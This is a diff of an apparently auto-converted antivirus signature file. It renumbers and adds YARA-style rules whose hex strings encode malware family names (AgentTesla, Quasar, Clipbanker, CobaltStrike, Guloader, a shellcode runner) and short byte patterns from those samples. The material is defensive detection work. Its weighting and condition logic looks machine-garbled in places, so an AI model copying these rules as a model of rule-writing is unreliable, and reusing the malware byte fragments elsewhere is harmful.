00 21 " @@ -81383,7 +86109,7 @@ rule _InfrastructureShared_7721{ ((#a_4c_0 & 1)*21539+(#a_6b_1 & 1)*25960) >=3 } -rule _InfrastructureShared_7722{ +rule _InfrastructureShared_8165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -81394,7 +86120,7 @@ rule _InfrastructureShared_7722{ ((#a_6f_0 & 1)*21539+(#a_41_2 & 1)*8448) >=3 } -rule _InfrastructureShared_7723{ +rule _InfrastructureShared_8166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -81407,7 +86133,7 @@ rule _InfrastructureShared_7723{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*30465+(#a_01_2 & 1)*11890+(#a_00_3 & 1)*4) >=3 } -rule _InfrastructureShared_7724{ +rule _InfrastructureShared_8167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -81420,7 +86146,7 @@ rule _InfrastructureShared_7724{ ((#a_77_0 & 1)*16675+(#a_67_1 & 1)*25970+(#a_6f_2 & 1)*24421+(#a_64_3 & 1)*28524) >=3 } -rule _InfrastructureShared_7725{ +rule _InfrastructureShared_8168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -81432,7 +86158,7 @@ rule _InfrastructureShared_7725{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25202+(#a_73_2 & 1)*25443) >=4 } -rule _InfrastructureShared_7726{ +rule _InfrastructureShared_8169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -81445,7 +86171,7 @@ rule _InfrastructureShared_7726{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*8292+(#a_54_2 & 1)*22852+(#a_52_3 & 1)*24940) >=4 } -rule _InfrastructureShared_7727{ +rule _InfrastructureShared_8170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -81458,7 +86184,7 @@ rule _InfrastructureShared_7727{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25189+(#a_54_2 & 1)*8497+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_7728{ +rule _InfrastructureShared_8171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -81471,7 +86197,7 @@ rule _InfrastructureShared_7728{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25938+(#a_67_2 & 1)*-32489+(#a_73_3 & 1)*27749) >=4 } -rule _InfrastructureShared_7729{ +rule _InfrastructureShared_8172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -81484,7 +86210,7 @@ rule _InfrastructureShared_7729{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26369+(#a_6e_2 & 1)*28005+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_7730{ +rule _InfrastructureShared_8173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -81497,7 +86223,7 @@ rule _InfrastructureShared_7730{ ((#a_6e_0 & 1)*21027+(#a_6c_1 & 1)*21870+(#a_00_2 & 1)*100+(#a_68_3 & 1)*514) >=4 } -rule _InfrastructureShared_7731{ +rule _InfrastructureShared_8174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -81508,7 +86234,7 @@ rule _InfrastructureShared_7731{ ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*46) >=4 } -rule _InfrastructureShared_7732{ +rule _InfrastructureShared_8175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -81518,7 +86244,7 @@ rule _InfrastructureShared_7732{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_7733{ +rule _InfrastructureShared_8176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -81527,12 +86253,12 @@ rule _InfrastructureShared_7733{ $a_00_1 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 51 6a 77 6d 6f 6e 6b 65 79 2e 4e 42 31 00 01 00 0d 80 01 63 64 6e 2e 7a 72 79 39 37 2e 63 6f 6d 01 00 0e 80 01 64 6c 2e 33 36 30 73 61 66 65 2e 63 6f 6d 01 00 0c 80 01 63 75 72 6c 2e 68 61 78 78 2e 73 65 01 00 0a 80 01 78 2e 39 33 6e 65 2e 63 6f 6d 01 00 12 80 01 47 65 74 4c 61 73 74 41 63 74 69 76 65 50 6f 70 75 70 00 } //30720 $a_00_2 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 53 65 61 72 63 68 50 72 6f 74 00 01 00 0d 00 7b 53 65 61 72 63 68 54 65 72 6d 73 7d 01 00 10 00 73 65 61 72 63 68 2e 79 61 68 6f 6f 2e 63 6f 6d 01 00 06 01 4c 6f 67 67 65 72 01 00 14 00 79 00 61 00 6e 00 64 00 73 00 65 00 61 00 72 00 63 00 68 00 01 00 12 00 62 00 61 00 69 00 64 00 75 00 2e 00 63 00 6f 00 6d 00 00 00 05 } //30720 $a_00_3 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 31 33 35 21 4d 54 42 00 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 0c 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 09 01 20 00 d0 00 00 fe 04 13 06 00 } //30720 - $a_00_4 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4c 57 31 32 33 21 4d 54 42 00 01 00 08 81 01 61 6c 72 69 67 68 74 79 01 00 15 81 01 64 69 73 68 61 72 6d 6f 6e 69 73 20 68 75 6e 64 65 76 61 67 74 01 00 0d 81 01 70 61 72 63 65 6c 65 6a 65 72 6e 65 73 01 00 06 81 01 72 6f 64 67 65 72 01 00 06 81 01 6b 61 61 72 64 65 00 } //30720 + $a_00_4 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 52 4b 49 31 32 21 4d 54 42 00 01 00 0e 81 01 75 6e 64 76 69 67 65 6d 61 6e 76 72 65 72 01 00 09 81 01 64 72 61 70 65 72 65 73 73 01 00 0d 81 01 6b 6f 6e 6b 72 65 74 69 73 65 72 65 73 01 00 0c 81 01 70 72 6f 65 76 65 74 69 64 65 6e 73 01 00 08 81 01 4b 6f 72 61 6c 64 79 72 00 } //30720 condition: ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=5 } -rule _InfrastructureShared_7734{ +rule _InfrastructureShared_8177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -81540,12 +86266,12 @@ rule _InfrastructureShared_7734{ $a_54_0 = {3a 51 6a 77 6d 6f 6e 6b 65 79 2e 4e 42 31 00 01 00 0d 80 01 63 64 6e 2e 7a 72 79 39 37 2e 63 6f 6d 01 00 0e 80 01 64 6c 2e 33 36 30 73 61 66 65 2e 63 6f 6d 01 00 0c 80 01 63 75 72 6c 2e 68 61 78 78 2e 73 65 01 00 0a 80 01 78 2e 39 33 6e 65 2e 63 6f } //18467 $a_74_2 = {61 73 74 41 63 74 69 76 65 50 6f 70 75 70 00 00 78 79 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 53 65 61 72 63 68 50 72 6f 74 00 01 00 0d 00 7b 53 65 61 72 63 68 54 65 72 6d 73 7d 01 00 10 00 73 65 61 72 63 68 2e 79 61 68 6f 6f 2e 63 6f 6d 01 00 06 01 4c 6f 67 67 65 72 01 00 14 00 79 00 61 00 6e 00 } //18177 $a_00_3 = {65 00 61 00 72 00 63 00 68 00 01 00 12 00 62 00 61 00 69 00 64 00 75 00 2e 00 63 00 6f 00 6d 00 00 00 05 00 78 79 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 31 33 35 21 4d 54 42 00 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 } //100 - $a_65_4 = {75 6d 65 4c 61 79 6f 75 74 01 00 0d 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 09 01 20 00 d0 00 00 fe 04 13 06 00 00 78 79 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4c 57 31 32 33 21 4d } //268 + $a_65_4 = {75 6d 65 4c 61 79 6f 75 74 01 00 0d 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 09 01 20 00 d0 00 00 fe 04 13 06 00 00 78 79 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 52 4b 49 31 32 21 4d 54 42 } //268 condition: ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*18177+(#a_00_3 & 1)*100+(#a_65_4 & 1)*268) >=5 } -rule _InfrastructureShared_7735{ +rule _InfrastructureShared_8178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -81558,21 +86284,35 @@ rule _InfrastructureShared_7735{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1+(#a_00_2 & 1)*0+(#a_48_4 & 1)*8448) >=5 } -rule _InfrastructureShared_7736{ +rule _InfrastructureShared_8179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 31 33 35 21 4d 54 42 00 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 0c 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 01 53 75 } //18467 - $a_6e_1 = {4c 61 79 6f 75 74 01 00 09 01 20 00 d0 00 00 fe 04 13 06 00 00 78 79 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4c 57 31 32 33 21 4d 54 42 00 01 00 08 81 01 61 6c 72 69 67 68 74 79 01 00 15 81 01 64 69 73 68 61 72 6d 6f 6e 69 73 20 68 75 6e 64 65 76 } //28787 + $a_6e_1 = {4c 61 79 6f 75 74 01 00 09 01 20 00 d0 00 00 fe 04 13 06 00 00 78 79 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 52 4b 49 31 32 21 4d 54 42 00 01 00 0e 81 01 75 6e 64 76 69 67 65 6d 61 6e 76 72 65 72 01 00 09 81 01 64 72 61 70 65 72 65 73 73 01 00 0d 81 01 } //28787 + $a_6b_2 = {65 74 69 73 65 72 65 73 01 00 0c 81 01 70 72 6f 65 76 65 74 69 64 65 6e 73 01 00 08 81 01 4b 6f 72 61 6c 64 79 72 00 00 78 79 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4c 57 31 32 33 21 4d 54 42 00 01 00 08 81 01 61 6c 72 69 67 68 74 79 01 00 15 81 01 64 69 73 68 61 72 6d 6f } //28523 + $a_20_3 = {75 6e 64 65 76 61 67 74 01 00 0d 81 01 70 61 72 63 65 6c 65 6a 65 72 6e 65 73 01 00 06 81 01 72 6f 64 67 65 72 01 00 06 81 01 6b 61 61 72 64 65 00 00 78 79 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 10 81 01 72 79 70 74 4f 70 65 6e 41 6c 67 6f 72 69 38 30 01 00 09 81 01 57 } //26990 + $a_65_4 = {69 6c 65 01 00 0a 81 01 62 65 64 61 73 68 2e 64 6c 6c 01 00 0d 81 01 70 65 70 69 6e 65 6c 6c 61 2e 64 6c 6c 01 00 0c 81 01 65 6e 64 6f 67 6e 61 74 68 69 6f 6e 00 00 78 79 00 00 09 00 09 00 03 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 50 69 67 53 65 61 72 63 68 00 03 00 21 01 47 65 74 43 50 4d 57 6f 72 64 5f 47 65 74 54 6f 70 57 6f 72 64 73 } //26994 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28787+(#a_6b_2 & 1)*28523+(#a_20_3 & 1)*26990+(#a_65_4 & 1)*26994) >=5 + +} +rule _InfrastructureShared_8180{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 52 4b 49 31 32 21 4d 54 42 00 01 00 0e 81 01 75 6e 64 76 69 67 65 6d 61 6e 76 72 65 72 01 00 09 81 01 64 72 61 70 65 72 65 73 73 01 00 0d 81 01 6b 6f 6e 6b 72 65 74 69 73 65 72 65 73 01 00 0c 81 01 70 } //18467 + $a_76_1 = {74 69 64 65 6e 73 01 00 08 81 01 4b 6f 72 61 6c 64 79 72 00 00 78 79 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4c 57 31 32 33 21 4d 54 42 00 01 00 08 81 01 61 6c 72 69 67 68 74 79 01 00 15 81 01 64 69 73 68 61 72 6d 6f 6e 69 73 20 68 75 6e 64 65 76 } //28530 $a_01_2 = {00 0d 81 01 70 61 72 63 65 6c 65 6a 65 72 6e 65 73 01 00 06 81 01 72 6f 64 67 65 72 01 00 06 81 01 6b 61 61 72 64 65 00 00 78 79 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 10 81 01 72 79 70 74 4f 70 65 6e 41 6c 67 6f 72 69 38 30 01 00 09 81 01 57 72 69 74 65 46 69 6c 65 01 00 } //26465 $a_62_3 = {64 } //-32502 d $a_2e_4 = {6c 6c 01 00 0d 81 01 70 65 70 69 6e 65 6c 6c 61 2e 64 6c 6c 01 00 0c 81 01 65 6e 64 6f 67 6e 61 74 68 69 6f 6e 00 00 78 79 00 00 09 00 09 00 03 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 50 69 67 53 65 61 72 63 68 00 03 00 21 01 47 65 74 43 50 4d 57 6f 72 64 5f 47 65 74 54 6f 70 57 6f 72 64 73 46 72 6f 6d } //29537 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28787+(#a_01_2 & 1)*26465+(#a_62_3 & 1)*-32502+(#a_2e_4 & 1)*29537) >=5 + ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*28530+(#a_01_2 & 1)*26465+(#a_62_3 & 1)*-32502+(#a_2e_4 & 1)*29537) >=5 } -rule _InfrastructureShared_7737{ +rule _InfrastructureShared_8181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -81586,7 +86326,7 @@ rule _InfrastructureShared_7737{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29541+(#a_6f_2 & 1)*385+(#a_61_3 & 1)*27749+(#a_41_4 & 1)*29541) >=5 } -rule _InfrastructureShared_7738{ +rule _InfrastructureShared_8182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -81600,7 +86340,7 @@ rule _InfrastructureShared_7738{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*27756+(#a_74_2 & 1)*28499+(#a_64_3 & 1)*11824+(#a_70_4 & 1)*29800) >=5 } -rule _InfrastructureShared_7739{ +rule _InfrastructureShared_8183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 21 " @@ -81612,7 +86352,7 @@ rule _InfrastructureShared_7739{ ((#a_77_0 & 1)*16675+(#a_2e_1 & 1)*24948+(#a_2e_2 & 1)*9473) >=9 } -rule _InfrastructureShared_7740{ +rule _InfrastructureShared_8184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 02 00 02 00 21 " @@ -81623,7 +86363,7 @@ rule _InfrastructureShared_7740{ ((#a_63_0 & 1)*16931+(#a_70_1 & 1)*29800) >=2 } -rule _InfrastructureShared_7741{ +rule _InfrastructureShared_8185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -81633,17 +86373,17 @@ rule _InfrastructureShared_7741{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_7742{ +rule _InfrastructureShared_8186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 73 69 6c 68 65 72 61 63 6c 65 73 2e 50 47 4d 21 4d 54 42 00 0a 00 46 03 0a 00 06 03 6f 90 01 01 00 00 0a 00 06 04 6f 90 01 01 00 00 0a 00 06 17 6f 90 01 01 00 00 0a 00 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 43 2e 5a 4d 57 21 4d 54 42 00 0a 00 4c 03 13 06 1f 10 8d 90 01 01 00 00 01 25 d0 90 01 01 00 00 04 28 90 01 01 00 00 0a 13 07 16 3a 29 ff ff ff 17 11 07 11 } //21539 condition: ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_7743{ +rule _InfrastructureShared_8187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -81654,7 +86394,7 @@ rule _InfrastructureShared_7743{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*26223) >=10 } -rule _InfrastructureShared_7744{ +rule _InfrastructureShared_8188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -81665,7 +86405,18 @@ rule _InfrastructureShared_7744{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-14596) >=11 } -rule _InfrastructureShared_7745{ +rule _InfrastructureShared_8189{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6c 69 70 62 61 6e 6b 65 72 2e 5a 4f 54 21 4d 54 42 00 0a 00 32 03 0a 0b 16 0c 2b 19 06 08 06 08 93 07 1f 20 20 80 00 00 00 6f 90 01 01 00 00 0a 61 d1 9d 08 17 58 0c 08 } //21539 + $a_32_1 = {06 73 90 01 01 00 00 0a 2a 90 00 01 00 12 01 54 00 48 00 45 00 5f 00 4d 00 55 00 54 00 45 00 58 00 00 00 78 79 00 00 0b 00 0b 00 03 00 21 23 64 6f 5f 76 6d 6d 67 72 6f 77 5f 72 65 73 63 61 6e 00 0a 00 21 03 68 40 00 00 00 ff 90 01 01 89 90 01 01 90 02 02 81 90 01 05 90 02 02 89 90 01 01 90 02 02 68 90 00 01 00 1b } //-29178 + condition: + ((#a_4c_0 & 1)*21539+(#a_32_1 & 1)*-29178) >=11 + +} +rule _InfrastructureShared_8190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -81677,7 +86428,7 @@ rule _InfrastructureShared_7745{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*0+(#a_53_2 & 1)*14958) >=11 } -rule _InfrastructureShared_7746{ +rule _InfrastructureShared_8191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -81687,7 +86438,7 @@ rule _InfrastructureShared_7746{ ((#a_46_0 & 1)*16675) >=15 } -rule _InfrastructureShared_7747{ +rule _InfrastructureShared_8192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 05 00 21 " @@ -81701,7 +86452,7 @@ rule _InfrastructureShared_7747{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28261+(#a_02_2 & 1)*-25083+(#a_59_3 & 1)*27022+(#a_46_4 & 1)*16675) >=26 } -rule _InfrastructureShared_7748{ +rule _InfrastructureShared_8193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81711,7 +86462,7 @@ rule _InfrastructureShared_7748{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7749{ +rule _InfrastructureShared_8194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81721,7 +86472,7 @@ rule _InfrastructureShared_7749{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7750{ +rule _InfrastructureShared_8195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81731,7 +86482,7 @@ rule _InfrastructureShared_7750{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7751{ +rule _InfrastructureShared_8196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81741,7 +86492,7 @@ rule _InfrastructureShared_7751{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7752{ +rule _InfrastructureShared_8197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81751,7 +86502,7 @@ rule _InfrastructureShared_7752{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7753{ +rule _InfrastructureShared_8198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81761,7 +86512,7 @@ rule _InfrastructureShared_7753{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7754{ +rule _InfrastructureShared_8199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81771,7 +86522,7 @@ rule _InfrastructureShared_7754{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7755{ +rule _InfrastructureShared_8200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81781,7 +86532,7 @@ rule _InfrastructureShared_7755{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7756{ +rule _InfrastructureShared_8201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81791,7 +86542,17 @@ rule _InfrastructureShared_7756{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7757{ +rule _InfrastructureShared_8202{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 51 75 61 73 61 72 2e 41 55 51 52 21 4d 54 42 00 01 00 4b 03 0a 16 0b 06 12 01 28 90 01 01 03 00 0a 02 8e 69 28 90 01 01 03 00 0a 0c 28 90 01 01 01 00 06 08 16 08 8e 69 6f 90 01 01 02 00 0a 02 8e 69 7e 90 01 01 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_8203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81801,7 +86562,7 @@ rule _InfrastructureShared_7757{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7758{ +rule _InfrastructureShared_8204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81811,7 +86572,7 @@ rule _InfrastructureShared_7758{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7759{ +rule _InfrastructureShared_8205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81821,7 +86582,7 @@ rule _InfrastructureShared_7759{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7760{ +rule _InfrastructureShared_8206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81831,7 +86592,7 @@ rule _InfrastructureShared_7760{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7761{ +rule _InfrastructureShared_8207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81841,7 +86602,7 @@ rule _InfrastructureShared_7761{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7762{ +rule _InfrastructureShared_8208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81851,7 +86612,27 @@ rule _InfrastructureShared_7762{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7763{ +rule _InfrastructureShared_8209{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 41 45 21 4d 54 42 00 01 00 44 03 8b c7 33 c9 c1 ef 10 25 ff 00 04 00 83 e7 07 a3 fc 85 40 00 81 cf 28 00 00 01 f7 d1 23 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_8210{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 4f 56 21 4d 54 42 00 01 00 47 03 0f b6 04 02 88 45 90 01 01 48 8b 55 90 01 01 48 8b 45 90 01 01 48 01 d0 0f b6 00 48 8b 4d 90 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_8211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -81861,7 +86642,7 @@ rule _InfrastructureShared_7763{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_7764{ +rule _InfrastructureShared_8212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -81872,7 +86653,7 @@ rule _InfrastructureShared_7764{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25427) >=1 } -rule _InfrastructureShared_7765{ +rule _InfrastructureShared_8213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -81883,7 +86664,7 @@ rule _InfrastructureShared_7765{ ((#a_77_0 & 1)*16675+(#a_88_1 & 1)*-29743) >=1 } -rule _InfrastructureShared_7766{ +rule _InfrastructureShared_8214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -81894,7 +86675,7 @@ rule _InfrastructureShared_7766{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*5887) >=1 } -rule _InfrastructureShared_7767{ +rule _InfrastructureShared_8215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -81904,7 +86685,7 @@ rule _InfrastructureShared_7767{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_7768{ +rule _InfrastructureShared_8216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -81916,7 +86697,7 @@ rule _InfrastructureShared_7768{ ((#a_46_0 & 1)*16675+(#a_5d_1 & 1)*14134+(#a_32_2 & 1)*11887) >=1 } -rule _InfrastructureShared_7769{ +rule _InfrastructureShared_8217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -81928,7 +86709,7 @@ rule _InfrastructureShared_7769{ ((#a_54_0 & 1)*18467+(#a_36_1 & 